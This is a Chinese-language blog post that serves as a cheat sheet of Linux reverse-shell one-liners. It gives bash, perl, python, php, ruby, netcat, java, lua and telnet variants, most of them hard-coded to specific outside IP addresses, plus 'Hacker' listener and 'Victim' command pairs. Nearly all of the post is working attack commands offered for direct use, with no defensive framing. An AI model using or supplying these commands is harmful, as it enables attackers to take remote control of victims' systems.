Linux 反弹 shell

bash版本:

bash -i >& /dev/tcp/45.78.13.23/4567 0>&1

bash -i >& /dev/tcp/45.78.13.23/5555 0>&1

/bin/tcsh -i >& /dev/tcp/45.78.13.23/4567 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持

perl版本:

perl -e 'use Socket;$i="45.78.13.23";$p=4567;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.78.13.23",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

php -r '$sock=fsockopen("45.78.13.23",4567);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("45.78.13.23",4567).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本:

nc -e /bin/sh 45.78.13.23 4567
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 45.78.13.23 4567 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/45.78.13.23/4567;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('45.78.13.23','4567');os.execute('/bin/sh -i <&3 >&3 2>&3');"

nc不使用-e:

Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

不使用nc

Method 1:

Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

Method 2:

Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

Method 3:

Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

 

aimorc

我还没有学会写个人说明!

Leave a Reply

Your email address will not be published. Required fields are marked *

微信扫一扫,分享到朋友圈

Linux 反弹 shell
返回顶部

显示

忘记密码?

显示

显示

获取验证码

Close